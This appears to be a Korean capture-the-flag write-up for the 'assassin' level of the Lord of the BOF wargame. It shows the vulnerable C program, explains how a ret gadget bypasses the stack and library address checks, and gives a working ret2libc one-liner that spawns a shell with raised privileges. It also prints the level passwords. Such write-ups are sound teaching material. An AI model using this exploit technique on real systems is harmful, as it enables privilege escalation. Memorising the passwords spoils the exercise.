- id = giant
- pw = one step closer
1. 문제 : assassin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
2. 공격 준비
2.1 공격 방법 고민
BoF 를 위한 return address 설정을 stack (0xbf)과 library (0x40)을 이용할 수 없다면… ROP (Return Oriented Programming)을 이용해야할까 ? Gadget은 어디에서 찾아야 하나 ?
잘 모르겠으니 혹시나 실행 파일 assassin의 assembler을 확인해보자.
2.2 assassin()
08048470 <main>:
8048470: 55 push %ebp
8048471: 89 e5 mov %esp,%ebp
8048473: 83 ec 28 sub $0x28,%esp
8048476: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
8048477: ...
8048515: e8 7e fe ff ff call 8048398 <_init+0x90>
804851a: 83 c4 0c add $0xc,%esp
804851d: c9 leave
804851e: c3 ret
804851f: 90 nop
우리가 현재 필요로한 gadget 은 단순히 stack, library 가 아닌 값으로 jump 한 다음에 다시 stack 으로 돌아오면 되는거다. 즉, LR 주소로 stack, library 을 못 쓰기 때문에 다른쪽으로 한 번 jump 한 다음에 다시 stack 으로 돌아오면 된다. 그렇다면… assassin 프로그램에 있는 ret 으로 jump 한다면 ??? ㅋㅋ
2.3 Stack 구성
[ Buffer[40] ][ SFR ][ LR ][ ...]
= [ Buffer[44] ][ ret() ][ system() ][ exit() ][ /bin/sh ]
- ret() : 0x0804851e
- system() : 0x40058ae0
- exit() : 0x400391e0
- /bin/sh : 0x400fbff9
3 Exploit
$ ./assassin "`python -c 'print "\x90"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"'`"
à@à@ù¿@
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
4. 다음 단계 정보
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away